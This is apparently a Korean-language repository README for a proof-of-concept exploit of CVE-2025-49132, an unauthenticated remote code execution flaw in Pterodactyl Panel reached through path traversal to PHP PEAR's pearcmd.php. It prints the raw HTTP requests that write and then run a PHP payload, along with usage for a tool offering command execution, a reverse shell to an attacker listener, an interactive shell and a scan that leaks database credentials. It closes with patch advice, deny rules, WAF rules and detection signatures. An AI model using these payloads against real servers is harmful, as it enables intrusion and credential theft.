
CVE-2025-49132_PHP_PEAR_METHOD
이 저장소는 1.11.11 이전 버전의 Pterodactyl 패널에서 발생하는 치명적인 무인증 원격 코드 실행 취약점인 CVE-2025-49132에 대한 개념 증명(PoC) 익스플로잇을 포함합니다.
Pterodactyl 패널은 PHP로 구축된 무료 오픈소스 게임 서버 관리 패널입니다. 이 취약점은 PHP PEAR의 pearcmd.php 기능과 결합된 /locales/locale.json 엔드포인트의 부적절한 처리를 통해 인증되지 않은 공격자가 대상 서버에서 임의의 시스템 명령을 실행할 수 있게 합니다.
PHP PEAR(PHP Extension and Application Repository)는 재사용 가능한 PHP 구성 요소를 위한 프레임워크이자 배포 시스템입니다. PEAR 패키지를 관리하는 데 사용할 수 있는 명령줄 도구(pearcmd.php)를 제공합니다.
pearcmd.php 파일은 URL 매개변수를 통해 명령을 처리하며, 경로 탐색과 결합되면 다음을 수행하는 데 악용될 수 있습니다:
취약점은 다음 이유로 존재합니다:
/locales/locale.json의 locale 매개변수는 적절한 검증 없이 경로 탐색을 허용합니다pearcmd.php 스크립트는 임의의 PHP 파일을 쓸 수 있는 +config-create 명령을 허용합니다공격자는 다음을 수행할 수 있습니다:
config-create 명령을 남용하여 악성 PHP 코드를 /tmp에 작성익스플로잇은 두 단계로 작동합니다:
GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com
세부 분석:
+config-create+/ - PEAR의 구성 생성 기능 호출locale=../../../../../../usr/share/php/PEAR - PEAR 디렉터리로의 경로 탐색namespace=pearcmd - pearcmd.php 파일 대상 지정<?=system('id')?>+/tmp/payload.php - PHP 페이로드 및 대상 파일GET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com
세부 분석:
locale=../../../../../../tmp - /tmp 디렉터리로의 경로 탐색namespace=payload - payload.php 포함 및 실행익스플로잇은 특수 문자(<, >, ?, =)를 인코딩하지 않고 URL로 전송해야 합니다. 이러한 문자가 URL 인코딩되면:
<?=system('id')?>는 %3C%3F%3Dsystem%28%27id%27%29%3F%3E가 됩니다graph TD
A[Attacker] -->|1. Path Traversal Request| B[locale.json]
B -->|2. Traverse to PEAR| C[pearcmd.php]
C -->|3. config-create Command| D[Write PHP Payload]
D -->|4. Create File| E[payload.php]
E -->|5. File Created| F[Server Filesystem]
A -->|6. Execution Request| G[locale.json]
G -->|7. Traverse to tmp| E
E -->|8. Include and Execute| H[PHP Interpreter]
H -->|9. System Command| I[Shell Command]
I -->|10. Command Output| A
style A fill:#ff6b6b
style B fill:#4ecdc4
style C fill:#ffe66d
style E fill:#ff6b6b
style H fill:#ff6b6b
style I fill:#ff6b6b
sequenceDiagram
participant Attacker
participant Web Server
participant PEAR
participant Filesystem
participant PHP Engine
Attacker->>Web Server: GET locale.json with config-create
Web Server->>PEAR: Path Traversal to pearcmd
PEAR->>Filesystem: Create payload.php
Filesystem-->>Attacker: 200 OK
Attacker->>Web Server: GET locale.json with payload namespace
Web Server->>Filesystem: Path Traversal to payload.php
Filesystem->>PHP Engine: Include payload
PHP Engine->>PHP Engine: Execute system command
PHP Engine-->>Attacker: Command Output RCE
requests 라이브러리git clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD
pip3 install -r requirements.txt
또는 수동으로:
pip3 install requests
python3 poc.py -H <target_host> -c "<command>"
# On attacker machine, start listener
nc -lvnp 4444
# Execute exploit with reverse shell
python3 poc.py -H <target_host> -r <your_ip>:4444
python3 poc.py -H <target_host> --shell
python3 poc.py -H <target_host> --fuzz
python3 poc.py -H <target_host> --scan
구성 유출(데이터베이스 자격 증명, 앱 키)을 통해 CVE-2025-49132를 확인합니다.
python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"
python3 poc.py -H <target_host> -c "id" -v
상세 진행 상황(페이로드 생성, PEAR 경로, 실행 상태)을 표시합니다.
usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
[-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST Target host (e.g., 192.168.1.100 or example.com)
-c COMMAND Command to execute on target system
-r REVERSE_SHELL Reverse shell (format: LHOST:LPORT)
--shell Interactive pseudo-shell mode
--fuzz Fuzz for PEAR installation paths
--scan Scan target for vulnerability (config leaks)
-p PEAR_PATH Custom PEAR path (default: /usr/share/php/PEAR)
-e ENDPOINT Vulnerable endpoint (default: /locales/locale.json)
--ssl Use HTTPS
--timeout TIMEOUT Request timeout in seconds (default: 10)
-v, --verbose Verbose progress output
$ python3 poc.py -H panel.pterodactyl.htb -c "id"
[CVE-2025-49132] Pterodactyl Panel RCE via PHP PEAR
[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
상세 출력(페이로드 세부 정보, PEAR 경로 등)을 보려면 -v를 사용하세요.
# Terminal 1: Start listener
$ nc -lvnp 4444
listening on [any] 4444 ...
# Terminal 2: Execute exploit
$ python3 poc.py -H panel.pterodactyl.htb -r 10.10.14.5:4444
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[!] Make sure your listener is running: nc -lvnp 4444
# Terminal 1: Receive connection
connect to [10.10.14.5] from (UNKNOWN) [panel.pterodactyl.htb] 45678
www-data@pterodactyl:/var/www/pterodactyl$
$ python3 poc.py -H panel.pterodactyl.htb --shell
shell> whoami
www-data
shell> pwd
/var/www/pterodactyl
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
$ python3 poc.py -H panel.pterodactyl.htb --fuzz
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[+] Found 3 potential PEAR installation(s):
/usr/share/php/PEAR
/usr/share/pear
/usr/local/lib/php/PEAR
[*] Use -p flag with one of these paths for exploitation
경로별 퍼징 진행 상황을 보려면 -v를 사용하세요.
$ python3 poc.py -H panel.pterodactyl.htb --scan
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[*] Scanning: http://panel.pterodactyl.htb/locales/locale.json
-------------------------------------------------------
[+] VULNERABLE - Database credentials leaked
Host: 127.0.0.1
Port: 3306
Database: panel
Username: pterodactyl
Password: ********
Connection: pterodactyl:********@127.0.0.1:3306/panel
[+] VULNERABLE - App configuration leaked
App Key: base64{...}
[!] SECURITY WARNING: APP_KEY exposed!
-------------------------------------------------------
[+] Target is VULNERABLE to CVE-2025-49132
Pterodactyl 패널 업데이트
cd /var/www/pterodactyl
php artisan p:upgrade
버전 1.11.11 이상으로 업데이트하세요.
취약한 엔드포인트 비활성화(임시 해결책)
웹 서버 구성에 추가하세요:
Apache (.htaccess):
<Files "locale.json">
Order Allow,Deny
Deny from all
</Files>
Nginx:
location ~* /locales/locale\.json {
deny all;
return 403;
}
참고: 이렇게 하면 지역화 기능이 중단됩니다.
웹 애플리케이션 방화벽(WAF)
경로 탐색 시도를 차단하는 WAF 규칙을 구현하세요:
SecRule REQUEST_URI "@contains ../" "id:1000,phase:1,deny,status:403"
SecRule ARGS "@contains ../" "id:1001,phase:2,deny,status:403"
locale 및 namespace 매개변수에 대한 엄격한 검증 구현realpath()를 사용하여 파일 경로를 확인하고 검증로그 분석 - 의심스러운 패턴 찾기:
# Apache/Nginx access logs
grep "locale.json" /var/log/apache2/access.log | grep "\.\."
grep "pearcmd" /var/log/apache2/access.log
grep "config-create" /var/log/apache2/access.log
# Look for payload files
find /tmp -name "payload.php" -o -name "*.php" -mtime -1
IDS/IPS 시그니처:
alert http any any -> any any (msg:"CVE-2025-49132 PEAR RCE Attempt";
content:"/locales/locale.json"; http_uri;
content:"pearcmd"; http_uri;
content:"config-create"; http_uri;
sid:1000001; rev:1;)
교육 및 승인된 테스트 목적으로만 사용하세요
이 개념 증명 익스플로잇은 교육 목적과 승인된 보안 테스트용으로만 제공됩니다. 작성자는 이 프로그램으로 인한 오용 또는 손해에 대해 책임을 지지 않습니다.
컴퓨터 시스템에 대한 무단 접근은 불법입니다. 사용자는 관련 법률 및 규정을 준수할 책임이 있습니다.
xffsec
| 연락처 |
|---|
| GitHub: @xffsec |
| 이메일: [email protected] |
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하세요.
기여, 이슈 제기, 기능 요청을 환영합니다! 언제든지 이슈를 열거나 풀 리퀘스트를 제출하세요.
⚠️ 기억하세요: 항상 책임 있는 공개를 실천하고 적절한 승인 없이는 취약점을 악용하지 마세요.